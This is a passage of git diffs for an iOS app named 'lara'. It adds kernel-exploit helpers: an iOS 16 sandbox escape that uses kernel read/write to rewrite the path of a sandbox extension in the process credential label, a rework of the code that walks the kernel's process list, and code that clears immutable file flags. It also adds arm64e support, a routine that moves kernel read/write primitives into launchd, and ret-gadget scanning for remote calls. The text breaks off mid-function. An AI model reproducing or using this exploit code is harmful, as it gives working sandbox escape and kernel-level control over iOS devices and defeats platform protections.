(out_ext) *out_ext = ext; + return true; + } + if (!next_ext || next_ext == ext) break; + ext = next_ext; + } + } + if (!next_node || next_node == node) break; + node = next_node; + } + } + + return false; +} + +static bool ios16_path_has_prefix(uint64_t addr, const char *prefix) { + if (!K_ios16(addr) || !prefix) return false; + + size_t len = strlen(prefix); + char got[PATH_MAX] = {0}; + if (len >= sizeof(got)) return false; + + for (size_t off = 0; off < len; off += 8) { + uint64_t q = ds_kread64(addr + off); + size_t n = len - off; + if (n > 8) n = 8; + memcpy(got + off, &q, n); + } + + return memcmp(got, prefix, len) == 0; +} + +static bool ios16_set_extension_path(uint64_t ext, const char *target) { + uint64_t path = S(ds_kread64(ext + OFF_EXT_DATA)); + if (!K_ios16(path) || !target) return false; + + uint64_t target_len = (uint64_t)strlen(target); + uint64_t first = path & ~(uint64_t)(KRW_LEN - 1); + uint64_t end = path + target_len + 1; + if (!K_ios16(first)) return false; + + for (uint64_t base = first; base < end; base += KRW_LEN) { + uint8_t block[KRW_LEN]; + ds_kread(base, block, KRW_LEN); + for (uint64_t addr = base; addr < base + KRW_LEN; addr++) { + if (addr < path || addr >= end) continue; + uint64_t idx = addr - path; + block[addr - base] = (idx < target_len) ? (uint8_t)target[idx] : 0; + } + ds_kwritezoneelement(base, block, KRW_LEN); + } + + bool wrote_len = ios16_write64_in_block(ext + OFF_EXT_DATALEN, target_len); + return wrote_len && ds_kread64(ext + OFF_EXT_DATALEN) == target_len && ios16_path_has_prefix(path, target); +} + +static bool ios16_test_root_access(void) { + DIR *dir = opendir(IOS16_TARGET_PATH); + if (dir) closedir(dir); + + int fd = open("/private/var/mobile/Library/Preferences/lara-sbx-access.txt", O_WRONLY | O_CREAT | O_TRUNC, 0600); + if (fd < 0) return false; + + const char marker[] = "lara-sbx-test\n"; + ssize_t written = write(fd, marker, sizeof(marker) - 1); + close(fd); + int unlinked = unlink("/private/var/mobile/Library/Preferences/lara-sbx-access.txt"); + return dir != NULL && written == (ssize_t)(sizeof(marker) - 1) && unlinked == 0; +} + +static int ios16_sbx_escape(uint64_t self_proc) { + if (!self_proc) { + self_proc = ourproc(); + } + if (!self_proc) { + sbx_log("iOS16 sandbox escape failed: no self proc"); + return -1; + } + + uint64_t ucred = sbx_ucredbyproc(self_proc); + if (!ucred) return -1; + + uint64_t label = S(ds_kread64(ucred + OFF_UCRED_CR_LABEL)); + if (!K_ios16(label)) return -1; + + uint64_t sandbox = S(ds_kread64(label + OFF_LABEL_SANDBOX)); + if (!K_ios16(sandbox)) return -1; + + int64_t probe_handle = ios16_seed_probe(); + if (probe_handle < 0) { + sbx_log("iOS16 sandbox escape failed: no probe extension"); + return -1; + } + + uint64_t probe_ext = 0; + uint64_t container_ext = 0; + if (!ios16_find_extension(sandbox, "com.apple.app-sandbox.read-write", probe_handle, false, &probe_ext) || !K_ios16(probe_ext)) { + sbx_log("iOS16 sandbox escape failed: probe extension not found"); + return -1; + } + if (!ios16_find_extension(sandbox, "com.apple.sandbox.container", 0, true, &container_ext) || !K_ios16(container_ext)) { + sbx_log("iOS16 sandbox escape failed: container extension not found"); + return -1; + } + + if (!ios16_write64_in_block(probe_ext + OFF_EXT_DATALEN, 1)) { + return -1; + } + + uint64_t container_meta = ds_kread64(container_ext + IOS16_OFF_EXT_META); + if (!ios16_write64_in_block(probe_ext + IOS16_OFF_EXT_META, container_meta)) { + return -1; + } + + if (!ios16_set_extension_path(probe_ext, IOS16_TARGET_PATH)) { + return -1; + } + + if (!ios16_test_root_access()) { + sbx_log("iOS16 sandbox escape verification failed"); + return -1; + } + + sbx_log("iOS16 sandbox escape succeeded"); + return 0; +} diff --git a/lara/kexploit/utils.m b/lara/kexploit/utils.m index c2db3d1e..ec7f8d26 100644 --- a/lara/kexploit/utils.m +++ b/lara/kexploit/utils.m @@ -14,7 +14,9 @@ #import #import #import +#import #import +#import #import #import #import @@ -74,7 +76,7 @@ void init_offsets(void) { int major = 0, minor = 0, patch = 0; sscanf(ios, "%d.%d.%d", &major, &minor, &patch); - if (major > 18 || (major == 18 && minor >= 4)) { + if (major >= 16) { PROC_PID_OFFSET = 0x60; } else { PROC_PID_OFFSET = 0x28; @@ -132,6 +134,7 @@ void init_offsets(void) { } static NSString *const kkernprocoffset = @"lara.kernprocoff"; +static NSString *const kallprocoffset = @"lara.allprocoff"; static inline uint32_t proc_name_offset(void) { return off_proc_p_name ? off_proc_p_name : PROC_NAME_OFFSET_FALLBACK; @@ -152,12 +155,48 @@ static inline uint64_t signptr(uint64_t v) { #define S(x) ({ uint64_t _v = xpaci(x); signptr(_v); }) +static void utils_log_file(const char *fmt, ...) __attribute__((format(printf, 1, 2))); +static void utils_log_file(const char *fmt, ...) { + static int fd = -2; + if (fd == -2) { + fd = -1; + @autoreleasepool { + NSArray *dirs = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES); + NSString *docs = dirs.firstObject; + if (docs.length != 0) { + NSString *path = [docs stringByAppendingPathComponent:@"lara.log"]; + fd = open(path.fileSystemRepresentation, O_WRONLY | O_CREAT | O_APPEND, 0644); + } + } + } + if (fd < 0) return; + + char message[1024]; + va_list ap; + va_start(ap, fmt); + vsnprintf(message, sizeof(message), fmt, ap); + va_end(ap); + + char line[1150]; + int len = snprintf(line, sizeof(line), "(utils) %s\n", message); + if (len <= 0) return; + if (len >= (int)sizeof(line)) len = (int)sizeof(line) - 1; + write(fd, line, (size_t)len); + fsync(fd); +} + static uint64_t loadkernproc(void) { NSNumber *n = [[NSUserDefaults standardUserDefaults] objectForKey:kkernprocoffset]; if (!n) return 0; return (uint64_t)n.unsignedLongLongValue; } +static uint64_t loadallproc(void) { + NSNumber *n = [[NSUserDefaults standardUserDefaults] objectForKey:kallprocoffset]; + if (!n) return 0; + return (uint64_t)n.unsignedLongLongValue; +} + static uint64_t kernprocaddress(void) { uint64_t offset = loadkernproc(); if (offset != 0) { @@ -168,6 +207,45 @@ static uint64_t kernprocaddress(void) { return 0xfffffff0079fd9c8 + kernslide; } +static uint64_t allprocaddress(void) { + uint64_t offset = loadallproc(); + if (offset != 0) { + return ds_get_kernel_base() + offset; + } + + return 0; +} + +static uint64_t kernproc_head(void) { + uint64_t kernprocaddr = kernprocaddress(); + if (!is_kptr(kernprocaddr)) { + utils_log_file("kernproc address invalid: 0x%llx", kernprocaddr); + return 0; + } + + uint64_t kernproc = S(ds_kread64(kernprocaddr)); + if (!is_kptr(kernproc)) { + utils_log_file("kernproc invalid: addr=0x%llx value=0x%llx", kernprocaddr, kernproc); + return 0; + } + return kernproc; +} + +static uint64_t allproc_head(void) { + uint64_t allprocaddr = allprocaddress(); + if (!is_kptr(allprocaddr)) { + utils_log_file("allproc address invalid: 0x%llx", allprocaddr); + return 0; + } + + uint64_t allproc = S(ds_kread64(allprocaddr)); + if (!is_kptr(allproc)) { + utils_log_file("allproc invalid: addr=0x%llx value=0x%llx", allprocaddr, allproc); + return 0; + } + return allproc; +} + bool islcruntime(void) { static int cached_result = -1; if (cached_result != -1) { @@ -234,15 +312,19 @@ static uint64_t checkprocforpid(uint64_t candidate, pid_t pid, const char *src, static uint64_t procbysock(void) { uint64_t rw_pcb = ds_get_rw_socket_pcb(); if (!is_kptr(rw_pcb)) { + utils_log_file("rw_socket_pcb invalid: 0x%llx", rw_pcb); printf("(utils) rw_socket_pcb invalid: 0x%llx\n", rw_pcb); return 0; } pid_t ourpid = getpid(); + utils_log_file("socket fallback: pcb=0x%llx pid=%d", rw_pcb, ourpid); printf("(utils) socket fallback: pcb=0x%llx pid=%d\n", rw_pcb, ourpid); uint8_t pcbbuf[0x200]; + utils_log_file("socket fallback: reading pcb buffer"); ds_kread(rw_pcb, pcbbuf, sizeof(pcbbuf)); + utils_log_file("socket fallback: pcb buffer read"); for (uint32_t off = 0; off < sizeof(pcbbuf); off += 8) { uint64_t candidate = S(*(uint64_t *)(pcbbuf + off)); uint64_t proc = checkprocforpid(candidate, ourpid, "pcb", off); @@ -320,13 +402,47 @@ static uint64_t procbysock(void) { static uint64_t procbysock_hardcoded(void) { uint64_t rw_pcb = ds_get_rw_socket_pcb(); if (!is_kptr(rw_pcb)) { + utils_log_file("socket hardcoded: invalid pcb=0x%llx", rw_pcb); printf("(utils) rw_socket_pcb invalid: 0x%llx\n", rw_pcb); return 0; } + + utils_log_file("socket hardcoded: pcb=0x%llx", rw_pcb); uint64_t rwSocketAddr = ds_kread64(rw_pcb + off_inpcb_inp_socket); + if (!is_kptr(rwSocketAddr)) { + utils_log_file("socket hardcoded: invalid socket=0x%llx", rwSocketAddr); + printf("(utils) socket hardcoded: invalid socket=0x%llx\n", rwSocketAddr); + return 0; + } + + utils_log_file("socket hardcoded: socket=0x%llx", rwSocketAddr); uint64_t current_thread = ds_kread64(rwSocketAddr + off_socket_so_background_thread); + if (!is_kptr(current_thread)) { + utils_log_file("socket hardcoded: invalid thread=0x%llx", current_thread); + printf("(utils) socket hardcoded: invalid thread=0x%llx\n", current_thread); + return 0; + } + + utils_log_file("socket hardcoded: thread=0x%llx", current_thread); uint64_t current_thread_ro = thread_get_t_tro(current_thread); - return ds_kread64(current_thread_ro + off_thread_ro_tro_proc); + if (!is_kptr(current_thread_ro)) { + utils_log_file("socket hardcoded: invalid thread_ro=0x%llx", current_thread_ro); + printf("(utils) socket hardcoded: invalid thread_ro=0x%llx\n", current_thread_ro); + return 0; + } + + utils_log_file("socket hardcoded: thread_ro=0x%llx", current_thread_ro); + uint64_t proc = ds_kread64(current_thread_ro + off_thread_ro_tro_proc); + uint64_t checked_proc = checkprocforpid(proc, getpid(), "thread_ro", off_thread_ro_tro_proc); + if (!checked_proc) { + utils_log_file("socket hardcoded: proc candidate failed pid check raw=0x%llx", proc); + printf("(utils) socket hardcoded: proc candidate failed pid check raw=0x%llx\n", proc); + return 0; + } + + utils_log_file("found self proc via socket hardcoded -> 0x%llx", checked_proc); + printf("(utils) found self proc via socket hardcoded -> 0x%llx\n", checked_proc); + return checked_proc; } uint64_t procbypid(pid_t targetpid) { @@ -335,34 +451,59 @@ uint64_t procbypid(pid_t targetpid) { return 0; } - uint64_t proc = proc_self(); - while (1) { - uint32_t curPid = ds_kread32(proc + off_proc_p_pid); - if (curPid == targetpid) - return proc; - proc = ds_kread64(proc + off_proc_p_list_le_next); - if(!proc) break; - } - - proc = proc_self(); - while (1) { - uint32_t curPid = ds_kread32(proc + off_proc_p_pid); - if (curPid == targetpid) - return proc; - proc = ds_kread64(proc + off_proc_p_list_le_prev); - if(!proc) return 0; // not found + static pid_t cached_self_pid = -1; + static uint64_t cached_self_proc = 0; + static uint64_t cached_launchd_proc = 0; + if (targetpid == 1 && is_kptr(cached_launchd_proc)) { + return cached_launchd_proc; + } + if (targetpid == cached_self_pid && is_kptr(cached_self_proc)) { + return cached_self_proc; + } + + uint64_t heads[2] = { kernproc_head(), allproc_head() }; + uint32_t pid_offsets[2] = { off_proc_p_pid, off_proc_p_pid == 0x60 ? 0x28 : 0x60 }; + for (size_t head_index = 0; head_index < 2; head_index++) { + uint64_t proc = heads[head_index]; + utils_log_file("procbypid start: pid=%d source=%s head=0x%llx", + targetpid, head_index == 0 ? "kernproc" : "allproc", proc); + for (int iter = 0; is_kptr(proc) && iter < 4096; iter++) { + for (size_t i = 0; i < 2; i++) { + uint32_t curPid = ds_kread32(proc + pid_offsets[i]); + if (curPid == (uint32_t)targetpid) { + utils_log_file("found proc via %s list -> 0x%llx pid=%d pidoff=0x%x", + head_index == 0 ? "kernproc" : "allproc", + proc, targetpid, pid_offsets[i]); + if (targetpid == 1) { + cached_launchd_proc = proc; + } else if (targetpid == getpid()) { + cached_self_pid = targetpid; + cached_self_proc = proc; + } + return proc; + } + } + + uint64_t raw_next = ds_kread64(proc + off_proc_p_list_le_next); + uint64_t next = S(raw_next); + if (!is_kptr(next) || next == proc) { + break; + } + proc = next; + } } - - return proc; + + utils_log_file("procbypid failed: pid=%d", targetpid); + return 0; } uint64_t ourproc(void) { - uint64_t proc = procbysock(); + uint64_t proc = procbysock_hardcoded(); if (proc != 0) { return proc; } - proc = procbysock_hardcoded(); + proc = procbysock(); if (proc != 0) { return proc; } @@ -372,26 +513,25 @@ uint64_t ourproc(void) { return 0; } - char names[3][64] = {{0}}; - size_t count = procnamecandidates(names, 3); - for (size_t i = 0; i < count; i++) { - if (names[i][0] == '\0') { - continue; - } - - printf("(utils) trying procbyname fallback: %s\n", names[i]); - proc = procbyname(names[i]); - if (proc != 0) { - return proc; - } + proc = procbypid(getpid()); + if (proc != 0) { + return proc; } + utils_log_file("ourproc lookup failed"); + printf("(utils) ourproc lookup failed\n"); return 0; } uint64_t taskbyproc(uint64_t procaddr) { - uint64_t p_proc_ro = ds_kread64(procaddr + off_proc_p_proc_ro); - uint64_t pr_task = ds_kread64(p_proc_ro + off_proc_ro_pr_task); + if (!is_kptr(procaddr)) { + return 0; + } + uint64_t p_proc_ro = S(ds_kread64(procaddr + off_proc_p_proc_ro)); + if (!is_kptr(p_proc_ro)) { + return 0; + } + uint64_t pr_task = S(ds_kread64(p_proc_ro + off_proc_ro_pr_task)); return pr_task; } @@ -418,25 +558,23 @@ uint64_t procbyname(const char *name) { return 0; } - uint64_t proc = proc_self(); - while (1) { - char *p_name = proc_get_p_name(proc).data; - if(strcmp(p_name, name) == 0) - return proc; - proc = ds_kread64(proc + off_proc_p_list_le_next); - if(!proc) break; - } - - proc = proc_self(); - while (1) { - char *p_name = proc_get_p_name(proc).data; - if(strcmp(p_name, name) == 0) - return proc; - proc = ds_kread64(proc + off_proc_p_list_le_prev); - if(!proc) return 0; + uint64_t heads[2] = { kernproc_head(), allproc_head() }; + for (size_t head_index = 0; head_index < 2; head_index++) { + uint64_t proc = heads[head_index]; + for (int iter = 0; is_kptr(proc) && iter < 4096; iter++) { + char *p_name = proc_get_p_name(proc).data; + if(strcmp(p_name, name) == 0) + return proc; + + uint64_t next = S(ds_kread64(proc + off_proc_p_list_le_next)); + if (!is_kptr(next) || next == proc) { + break; + } + proc = next; + } } - return proc; + return 0; } proc_entry_t* proclist(const char *search, int *out_count) { @@ -447,10 +585,12 @@ uint64_t procbyname(const char *name) { bool list_all = (!search || strlen(search) == 0); - uint64_t kernprocaddr = kernprocaddress(); - uint64_t kernproc = ds_kread64(kernprocaddr); + uint64_t currentproc = allproc_head(); + if (!is_kptr(currentproc)) { + currentproc = kernproc_head(); + } - if (!is_kptr(kernproc)) { + if (!is_kptr(currentproc)) { *out_count = 0; return NULL; } @@ -462,7 +602,6 @@ uint64_t procbyname(const char *name) { return NULL; } - uint64_t currentproc = kernproc; int iter = 0; int matches = 0; @@ -488,7 +627,7 @@ uint64_t procbyname(const char *name) { matches++; } - uint64_t next = ds_kread64(currentproc + proc_next_offset()); + uint64_t next = S(ds_kread64(currentproc + proc_next_offset())); if (!is_kptr(next) || next == currentproc) break; currentproc = next; @@ -695,7 +834,11 @@ uint64_t proc_self(void) { uint64_t task_self(void) { if (!gSelfTask) { - gSelfTask = proc_task(proc_self()); + uint64_t proc = proc_self(); + if (!proc) { + return 0; + } + gSelfTask = proc_task(proc); } return gSelfTask; } diff --git a/lara/views/fm/DirectoryView.swift b/lara/views/fm/DirectoryView.swift index 99ebb37e..3786270f 100644 --- a/lara/views/fm/DirectoryView.swift +++ b/lara/views/fm/DirectoryView.swift @@ -355,12 +355,14 @@ struct santanderdirview: View { } .sheet(item: $chmoditem) { entry in santanderchmodsheet(item: entry) { mode in + santanderfs.clearImmutableIfPossible(atPath: entry.path) let ok = entry.path.withCString { apfs_mod($0, mode) == 0 } msg = santandermsg(title: "Chmod", text: ok ? "Operation completed." : "Operation failed.") } } .sheet(item: $chownitem) { entry in santanderchownsheet(item: entry) { uid, gid in + santanderfs.clearImmutableIfPossible(atPath: entry.path) let ok = entry.path.withCString { apfs_own($0, uid, gid) == 0 } msg = santandermsg(title: "Chown", text: ok ? "Operation completed." : "Operation failed.") } @@ -460,6 +462,7 @@ struct santanderdirview: View { } do { + santanderfs.clearImmutableIfPossible(atPath: entry.path) try FileManager.default.moveItem(atPath: entry.path, toPath: dest) model.load(query: query.trimmingCharacters(in: .whitespacesAndNewlines)) } catch { @@ -544,7 +547,7 @@ struct santanderdirview: View { do { if replace && FileManager.default.fileExists(atPath: dest) { - try FileManager.default.removeItem(atPath: dest) + try santanderfs.removeItemClearingImmutable(atPath: dest) } try FileManager.default.copyItem(atPath: clipitem.path, toPath: dest) model.load(query: query.trimmingCharacters(in: .whitespacesAndNewlines)) @@ -578,7 +581,7 @@ struct santanderdirview: View { do { if FileManager.default.fileExists(atPath: entry.path) { - try FileManager.default.removeItem(atPath: entry.path) + try santanderfs.removeItemClearingImmutable(atPath: entry.path) } try FileManager.default.copyItem(atPath: clipitem.path, toPath: entry.path) model.load(query: query.trimmingCharacters(in: .whitespacesAndNewlines)) @@ -594,7 +597,7 @@ struct santanderdirview: View { } do { - try FileManager.default.removeItem(atPath: entry.path) + try santanderfs.removeItemClearingImmutable(atPath: entry.path) model.load(query: query.trimmingCharacters(in: .whitespacesAndNewlines)) } catch { msg = santandermsg(title: "Delete Failed", text: error.localizedDescription) @@ -617,7 +620,7 @@ struct santanderdirview: View { do { if FileManager.default.fileExists(atPath: dest) { - try FileManager.default.removeItem(atPath: dest) + try santanderfs.removeItemClearingImmutable(atPath: dest) } try FileManager.default.copyItem(at: url, to: URL(fileURLWithPath: dest)) model.load(query: query.trimmingCharacters(in: .whitespacesAndNewlines)) diff --git a/lara/views/fm/FileSystemHelpers.swift b/lara/views/fm/FileSystemHelpers.swift index 85f5d39a..da5340cc 100644 --- a/lara/views/fm/FileSystemHelpers.swift +++ b/lara/views/fm/FileSystemHelpers.swift @@ -46,6 +46,22 @@ enum SantanderChown { } enum santanderfs { + static func clearImmutableIfPossible(atPath path: String) { + guard ProcessInfo.processInfo.operatingSystemVersion.majorVersion == 16 else { + return + } + do { + try FileManager.default.setAttributes([.immutable: false], ofItemAtPath: path) + } catch { + // Some files do not expose the immutable flag to this process; keep the original operation error. + } + } + + static func removeItemClearingImmutable(atPath path: String) throws { + clearImmutableIfPossible(atPath: path) + try FileManager.default.removeItem(atPath: path) + } + static func listdir(item: santanderitem, readsbx: Bool) -> santanderlisting { guard item.isdir else { return santanderlisting(items: [], empty: "Not a directory.") } @@ -288,6 +304,7 @@ enum santanderfs { } guard readsbx else { return false } do { + clearImmutableIfPossible(atPath: path) try data.write(to: URL(fileURLWithPath: path), options: .atomic) return true } catch { diff --git a/lara/views/tweaks/mobilegestalt/GestaltView.swift b/lara/views/tweaks/mobilegestalt/GestaltView.swift index b3801518..5c843b04 100644 --- a/lara/views/tweaks/mobilegestalt/GestaltView.swift +++ b/lara/views/tweaks/mobilegestalt/GestaltView.swift @@ -362,11 +362,11 @@ struct GestaltView: View { private func loadCurrentGestalt() { do { - mgCurrentDict = try NSMutableDictionary(contentsOf: URL(fileURLWithPath: mgCurrentPath), error: ()) + mgCurrentDict = try loadMutablePlistDictionary(from: URL(fileURLWithPath: mgCurrentPath)) print(mgCurrentDict.description) prepareGestaltData() } catch { - Alertinator.shared.alert(title: "Failed to load current MobileGestalt!", body: "Please restart the app and try again.") + Alertinator.shared.alert(title: "Failed to load current MobileGestalt!", body: "\(error)") } } @@ -381,15 +381,16 @@ struct GestaltView: View { try FileManager.default.copyItem(at: mgCurrentURL, to: mgSavedURL) } - let mgSavedDict = try NSMutableDictionary(contentsOf: mgSavedURL, error: ()) + let mgSavedDict = try loadMutablePlistDictionary(from: mgSavedURL) let cacheExtra = mgSavedDict["CacheExtra"] as? NSMutableDictionary ?? NSMutableDictionary() let ArtworkDict = cacheExtra["oPeik/9e8lQWMszEjbPzng"] as? NSMutableDictionary ?? NSMutableDictionary() - guard let originalSubType = ArtworkDict["ArtworkDeviceSubType"] as? Int else { throw "Failed to get ArtworkDeviceSubType!" } - mgOriginalSubtype = originalSubType - let currentCacheExtra = mgCurrentDict["CacheExtra"] as? NSMutableDictionary ?? NSMutableDictionary() let currentArtworkDict = currentCacheExtra["oPeik/9e8lQWMszEjbPzng"] as? NSMutableDictionary ?? NSMutableDictionary() + let originalSubType = ArtworkDict["ArtworkDeviceSubType"] as? Int + ?? currentArtworkDict["ArtworkDeviceSubType"] as? Int + ?? 0 + mgOriginalSubtype = originalSubType mgSubtype = currentArtworkDict["ArtworkDeviceSubType"] as? Int ?? originalSubType if let productType = currentCacheExtra["h9jDsbgj7xIVeIQ8S3/X3Q"] as? String, !productType.isEmpty { @@ -398,7 +399,9 @@ struct GestaltView: View { mgProductType = machineName() } - guard let deviceName = ArtworkDict["ArtworkDeviceProductDescription"] as? String else { throw "Failed to get ArtworkDeviceProductDescription!" } + let deviceName = ArtworkDict["ArtworkDeviceProductDescription"] as? String + ?? currentArtworkDict["ArtworkDeviceProductDescription"] as? String + ?? machineName() mgDeviceName = deviceName if mgDeviceName == "" { @@ -451,7 +454,7 @@ struct GestaltView: View { let mgSavedURL = docsDir.appendingPathComponent("SavedGestalt.plist") if FileManager.default.fileExists(atPath: mgSavedURL.path) { - let restored = try NSMutableDictionary(contentsOf: mgSavedURL, error: ()) + let restored = try loadMutablePlistDictionary(from: mgSavedURL) _ = try verifyPlist(restored, targetPath: mgCurrentPath) mgCurrentDict = restored } else { @@ -716,7 +719,21 @@ struct GestaltView: View { } #Preview { - GestaltView(mgr: laramgr()) + GestaltView(mgr: laramgr.shared) +} + +func loadMutablePlistDictionary(from url: URL) throws -> NSMutableDictionary { + let data = try Data(contentsOf: url) + var format = PropertyListSerialization.PropertyListFormat.binary + let plist = try PropertyListSerialization.propertyList( + from: data, + options: [.mutableContainersAndLeaves], + format: &format + ) + guard let dict = plist as? NSMutableDictionary else { + throw "Property list root is not a dictionary." + } + return dict } func verifyPlist(_ plist: Any, targetPath: String) throws -> Data { diff --git a/scripts/build_ipa.sh b/scripts/build_ipa.sh index cb166dc4..71052cd5 100755 --- a/scripts/build_ipa.sh +++ b/scripts/build_ipa.sh @@ -12,7 +12,7 @@ xcodebuild \ -scheme lara \ -configuration Debug \ -sdk iphoneos \ - -arch arm64e \ + -arch arm64 \ CODE_SIGNING_ALLOWED=NO \ CODE_SIGNING_REQUIRED=NO \ CODE_SIGN_IDENTITY="" \ From 30522ecc8d669827d1ad41545741687181e5528e Mon Sep 17 00:00:00 2001 From: Hades <5561948+hxhlb@users.noreply.github.com> Date: Wed, 27 May 2026 00:29:48 +0800 Subject: [PATCH 2/2] Add iOS 16.7.2 arm64e support --- lara.xcodeproj/project.pbxproj | 8 +- lara/classes/laramgr.swift | 33 + lara/funcs/helpers.swift | 10 + lara/kexploit/TaskRop/RemoteCall.h | 4 + lara/kexploit/TaskRop/RemoteCall.m | 2483 +++++++++++++++++++- lara/kexploit/darksword.m | 6 +- lara/kexploit/offsets.m | 8 + lara/kexploit/pe/rc.m | 191 +- lara/kexploit/persistence.m | 172 ++ lara/lara-Bridging-Header.h | 1 + lara/lara.swift | 4 + lara/views/app/ContentView.swift | 31 +- lara/views/app/settings/SettingsView.swift | 47 + lara/views/fm/DirectoryView.swift | 24 + lara/views/tweaks/RemoteView.swift | 31 +- scripts/build_ipa.sh | 2 +- 16 files changed, 2994 insertions(+), 61 deletions(-) diff --git a/lara.xcodeproj/project.pbxproj b/lara.xcodeproj/project.pbxproj index 77784c74..94d622f9 100644 --- a/lara.xcodeproj/project.pbxproj +++ b/lara.xcodeproj/project.pbxproj @@ -374,7 +374,7 @@ isa = XCBuildConfiguration; buildSettings = { ALWAYS_SEARCH_USER_PATHS = NO; - ARCHS = arm64; + ARCHS = arm64e; ASSETCATALOG_COMPILER_GENERATE_SWIFT_ASSET_SYMBOL_EXTENSIONS = YES; CLANG_ANALYZER_NONNULL = YES; CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; @@ -439,7 +439,7 @@ isa = XCBuildConfiguration; buildSettings = { ALWAYS_SEARCH_USER_PATHS = NO; - ARCHS = arm64; + ARCHS = arm64e; ASSETCATALOG_COMPILER_GENERATE_SWIFT_ASSET_SYMBOL_EXTENSIONS = YES; CLANG_ANALYZER_NONNULL = YES; CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; @@ -496,7 +496,7 @@ CC1C8B452F71DF9C00206982 /* Debug */ = { isa = XCBuildConfiguration; buildSettings = { - ARCHS = arm64; + ARCHS = arm64e; ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; ASSETCATALOG_COMPILER_INCLUDE_ALL_APPICON_ASSETS = YES; CODE_SIGN_STYLE = Automatic; @@ -548,7 +548,7 @@ CC1C8B462F71DF9C00206982 /* Release */ = { isa = XCBuildConfiguration; buildSettings = { - ARCHS = arm64; + ARCHS = arm64e; ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; ASSETCATALOG_COMPILER_INCLUDE_ALL_APPICON_ASSETS = YES; CODE_SIGN_STYLE = Automatic; diff --git a/lara/classes/laramgr.swift b/lara/classes/laramgr.swift index c1c3e9ad..d9004c03 100644 --- a/lara/classes/laramgr.swift +++ b/lara/classes/laramgr.swift @@ -774,6 +774,39 @@ final class laramgr: ObservableObject { } } } + + func stashKRWToLaunchd(completion: ((Bool) -> Void)? = nil) { + guard dsready, !rcrunning else { + completion?(false) + return + } + + rcrunning = true + rcLastError = nil + logmsg("(persist) manually transferring KRW primitives to launchd...") + + DispatchQueue.global(qos: .userInitiated).async { [weak self] in + let success = transfer_krw_to_launchd() + + DispatchQueue.main.async { + guard let self else { return } + self.rcrunning = false + if success { + self.rcLastError = nil + self.logmsg("(persist) manual KRW transfer to launchd succeeded") + } else { + let error = RemoteCall.lastInitError() + self.rcLastError = error + if let error, !error.isEmpty { + self.logmsg("(persist) manual KRW transfer to launchd failed: \(error)") + } else { + self.logmsg("(persist) manual KRW transfer to launchd failed") + } + } + completion?(success) + } + } + } // params: // - name: function to call diff --git a/lara/funcs/helpers.swift b/lara/funcs/helpers.swift index daff8a30..1354749c 100644 --- a/lara/funcs/helpers.swift +++ b/lara/funcs/helpers.swift @@ -12,3 +12,13 @@ func hex(_ value: UInt64) -> String { func hex(_ value: UInt32) -> String { hex(UInt64(value)) } + +func isIOS16() -> Bool { + if #available(iOS 17.0, *) { + return false + } + if #available(iOS 16.0, *) { + return true + } + return false +} diff --git a/lara/kexploit/TaskRop/RemoteCall.h b/lara/kexploit/TaskRop/RemoteCall.h index e7616dac..00cb50b5 100644 --- a/lara/kexploit/TaskRop/RemoteCall.h +++ b/lara/kexploit/TaskRop/RemoteCall.h @@ -77,6 +77,8 @@ int disable_excguard_kill(uint64_t task); uint64_t _secondThreadReturnTrap; bool _liveContainerRuntime; uint64_t _vmMap; + bool _trojanMemIsStackFallback; + uint64_t _trojanMemScratchOffset; bool _success; // = true; //NSMutableArray *_threadList = nil; //uint64_t _trojanMem; @@ -86,6 +88,8 @@ int disable_excguard_kill(uint64_t task); @property(nonatomic) NSString *lastError; @property(nonatomic) NSMutableArray *threadList; @property(nonatomic) uint64_t trojanMem; +@property(nonatomic) bool trojanMemIsStackFallback; +@property(nonatomic) uint64_t trojanMemScratchOffset; @property(nonatomic) pid_t pid; @property(nonatomic) uint64_t callThreadAddr; @property(nonatomic) uint64_t trojanThreadAddr; diff --git a/lara/kexploit/TaskRop/RemoteCall.m b/lara/kexploit/TaskRop/RemoteCall.m index e9605ab9..2473207c 100644 --- a/lara/kexploit/TaskRop/RemoteCall.m +++ b/lara/kexploit/TaskRop/RemoteCall.m @@ -12,9 +12,12 @@ #import #import #include +#include #include +#include #include #include +#include #include #import @@ -30,6 +33,9 @@ extern int proc_name(int pid, void *buffer, uint32_t buffersize); extern int proc_pidpath(int pid, void *buffer, uint32_t buffersize); +extern mach_port_t bootstrap_port; +extern kern_return_t bootstrap_look_up(mach_port_t bp, const char *service_name, mach_port_t *sp); +extern kern_return_t mach_vm_deallocate(task_t task, mach_vm_address_t address, mach_vm_size_t size); #ifndef PROC_PIDPATHINFO_MAXSIZE #define PROC_PIDPATHINFO_MAXSIZE (4 * PATH_MAX) @@ -48,6 +54,133 @@ + (NSString *)lcGuestAppId; #define RC_TASK_EXC_GUARD_MP_DELIVER 0x10 #define RC_TASK_EXC_GUARD_MP_CORPSE 0x40 #define RC_TASK_EXC_GUARD_MP_FATAL 0x80 +#define RC_IOS16_RESEARCH_ENABLED 1 +#if DEBUG +#define RC_IOS16_DEBUG_LOG(...) do { printf(__VA_ARGS__); } while (0) +#else +#define RC_IOS16_DEBUG_LOG(...) do {} while (0) +#endif + +static bool rc_is_ios16(void); +static void rc_ios16_log_return_path_thread(uint64_t thread, const char *stage); + +static uint64_t rc_ios16_find_ret_gadget_near(void *symbol) { + uint64_t center = nativestrip((uint64_t)symbol); + if (!center) { + return 0; + } + + const uint32_t retInstruction = 0xd65f03c0; + uint64_t scanPage = center & ~0x3fffULL; + for (uint64_t off = 0; off < 0x4000; off += sizeof(uint32_t)) { + uint64_t candidate = scanPage + off; + uint32_t insn = *(volatile uint32_t *)(uintptr_t)candidate; + if (insn == retInstruction) { + return candidate; + } + } + + return 0; +} + +static void rc_ios16_log_local_symbol_probe(const char *label, void *symbol) { + uint64_t raw = (uint64_t)symbol; + uint64_t stripped = nativestrip(raw); + Dl_info info = {0}; + int hasInfo = stripped ? dladdr((void *)(uintptr_t)stripped, &info) : 0; + + RC_IOS16_DEBUG_LOG("(rc.iOS16) local-symbol %s: raw=0x%llx stripped=0x%llx image=%s image_base=%p symbol=%s symbol_addr=%p image_off=0x%llx symbol_off=0x%llx\n", + label ? label : "(null)", + raw, + stripped, + hasInfo && info.dli_fname ? info.dli_fname : "(none)", + hasInfo ? info.dli_fbase : NULL, + hasInfo && info.dli_sname ? info.dli_sname : "(none)", + hasInfo ? info.dli_saddr : 